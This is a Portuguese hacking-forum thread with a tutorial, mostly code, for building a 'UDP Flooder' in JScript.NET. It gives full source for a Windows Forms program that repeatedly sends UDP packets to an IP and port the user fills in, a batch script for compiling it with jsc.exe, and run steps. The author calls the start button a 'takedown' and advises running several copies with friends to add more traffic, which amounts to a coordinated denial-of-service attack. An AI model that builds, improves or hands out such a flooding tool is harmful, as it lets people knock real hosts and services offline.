Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

JScript.NET - UDP Flooder Básico

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial JScript.NET - UDP Flooder Básico

    JScript .NET é uma linguagem de programação direcionada para a Plataforma .NET desenvolvida pela Microsoft. Por favor não confundam com Javascript, porque a mesma é uma linguagem de programação interpretada direcionada a navegadores de Web, ou seja, pode ser executado sem a necessidade de compilar o código primeiro. Este não é o caso do JScript .NET que exige um compilador de linha de comando, já que depende da .NET Common Language Runtime (CLR) para a execução, que exige que o código seja compilado para Common Intermediate Language (CIL), anteriormente chamado Microsoft Intermediate Language (MSIL), antes que ele possa ser executado.

    Muita gente confunde JScript .NET com C#, Né nickguitar.dll, pela semelhança da sintaxe, veja bem, as diferenças do JScript .NET pro C#:
    • JScript .NET não requer uma função main() para que o sistema operacional deva chamar diretamente ao executar um aplicativo JScript .NET, como tal, O fluxo do programa JScript .NET pode ser baseado em um código global.
    • JScript .NET, por causa de seu sistema de verificação de tipo muito solto pode ser muito fácil de aprender, desde que a convenção de declaração de tipo explícita não é necessária a todos.
    • JScript .NET não requer referências explícitas à NET Framework Base Class Library, Como certas funções encontradas em versões anteriores do Javascript estão presentes em JScript .NET (por exemplo, funções para encontrar a tangente de um ângulo de um triângulo retângulo).
    • JScript .NET está intimamente ligada à sintaxe do C , e é, portanto, muito fácil de aprender que tem experiência com C # , Java ou C + +.
    • Enquanto JScript .NET pode ser usado para criar aplicativos Windows Forms, JScript .NET terá alguns problemas, como delegates só pode ser usado em JScript .NET e não criados. Assim, eventos personalizados são difíceis de imitar em JScript .NET.


    Bem, após esse resumo sobre JScript .NET em seu todo vamos começar.
    Primeiramente devemos importar as bibliotecas necessárias para nosso programa funcionar corretamente. Note a semelhança ao método Using em C#.

    Código:
    import System;
    import System.Collections.Generic;
    import System.ComponentModel;
    import System.Data;
    import System.Drawing;
    import System.Linq;
    import System.Text;
    import System.Windows.Forms;
    import System.Threading;
    import System.Net.Sockets;
    import System.Net;
    import System.IO;
    import Accessibility;
    Não vou explicar para que cada biblioteca dessa serve, por saber que vocês já tem experiências similares a outras linguagens.
    Continuando, vamos começar a desenvolver o formulário. Criando uma classe e a estendendo ao System.Windows.Forms.Form.

    Código:
    public class Form1 extends System.Windows.Forms.Form
    {
    Criaremos uma variável para o nosso Timer ( um forma de Loop de uma determinada função ).

    Código:
    var timer;
    Continuando criamos a função global da Janela, definindo bordas, tamanho, e ocultamos o botão Maximizar.

    Código:
    public function Form1()
    {
    this.Text = "Guia do Hacker - UDP Flooder";
    this.ClientSize = new System.Drawing.Size(158,84);
    this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
    this.MaximizeBox = false;
    Criamos três controles, dois botões, definindo as coordenadas baseadas no plano cartesiano dos mesmo, tamanho, texto e por fim a função a ser chamada quando houver um click nos mesmos. Também definimos as propriedades do timer e no final adicionamos os controles no formulario.

    Código:
    var button1 = new Button;
    button1.Name = "Start";
    button1.Location = new Point (10,10);
    button1.Size = new System.Drawing.Size(64,64);
    button1.Text = "Start";
    button1.add_Click(addEventClick);
    		
    var button2 = new Button;
    button2.Name = "Stop";
    button2.Location = new Point (84,10);
    button2.Size = new System.Drawing.Size(64,64);
    button2.Text = "Stop";
    button2.add_Click(addEventClick);
    		
    timer = new Timer();
    timer.Interval = 1000;
    timer.add_Tick(timer_Tick);
    		
    this.Controls.Add(button1);
    this.Controls.Add(button2);
    }
    Onde está timer.Interval = 1000; altere pelo valor que lhe convém, recomendo 1.
    Agora criaremos a função que será ativada quando o timer ativar.

    Código:
    public function timer_Tick(sender : Object, e: EventArgs) {
    var ascii = new ASCIIEncoding();
    var packetData = ascii.GetBytes("<Packet OF Data Here>");
    var IP:String = "INSIRA_O_IP";
    var port:int = PORTA;
    
    var ep = new IPEndPoint(IPAddress.Parse(IP), port);
    
    var client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
    client.SendTo(packetData, ep);
    }
    Edite aqui:

    Código:
    var IP:String = "INSIRA_O_IP";
    var port:int = PORTA;
    Por fim, inserimos as funções dos botões que criamos e fechamos a função Form1, se você tiver o minimo de noção de programação entendera pra que serve cada pedaço de código sem a necessidade de explicar.

    Código:
    private function addEventClick(sender : Object, e : EventArgs) //button to start takedown
    {
    switch(sender.Text) {
    case "Start":
    MessageBox.Show("Ativado!");
    timer.Start();
    break
    case "Stop":
    MessageBox.Show("Parado!");
    timer.Stop();
    break;
    }
    }
    }
    Finalizando o código devemos executar a formulário e definir um Estilo para que os botões não fiquem medievais, isto é simples basta fazer assim:

    Código:
    Application.EnableVisualStyles();
    Application.Run(new Form1);
    Pronto, seu UDP Flooder está pronto, salve com udp.js, porque agora é a hora de compilar.
    Preste atenção nos próximos passos.
    • Crie uma nova pasta com o nome que quiser, e coloque o udp.js.


    • Vá na pasta: C:\Windows\Microsoft.NET\Framework. Vai ter algumas pastas de versões do seu Framework clique na mais recente, no meu caso v4.0.30319.


    • Procure pelo arquivo jsc.exe, Copie e cole na pasta que você criou anteriormente.


    • Crie um arquivo .bat dentro da pasta e no código-fonte dele coloque isso:

      Código:
      @echo off
      title Paul Ahmadinejad - JSC Compiler
      echo Arquivo:
      set /p file=
      cls
      jsc.exe /t:winexe %file%.js
      move /-y "%file%.exe" "bin"
      pause >nul


    Depois salve.
    [*]Agora crie outra pasta dentro dessa e dê o nome dela de bin.
    [*]Agora abra o seu arquivo.bat e digite udp. Somente "udp". não coloque a extensão que é .js. E logo após isso dê enter. Vá na pasta bin e abra o udp.exe.





    Após abrir, clique em Start, pronto seu UDP está funcionando 100%.
    Dica: Abra vários e clique em Start. Amigos fazendo isso também ajuda.

    Até+
    Similar Threads

  • Font Size
    #2
    @Paul Ahmadinejad

    O que diferencia esse udpflooder dos outros? Apenas a linguagem de programação do mesmo ou outras coisas?

    Obrigado.

    Comment

    X
    Working...
    X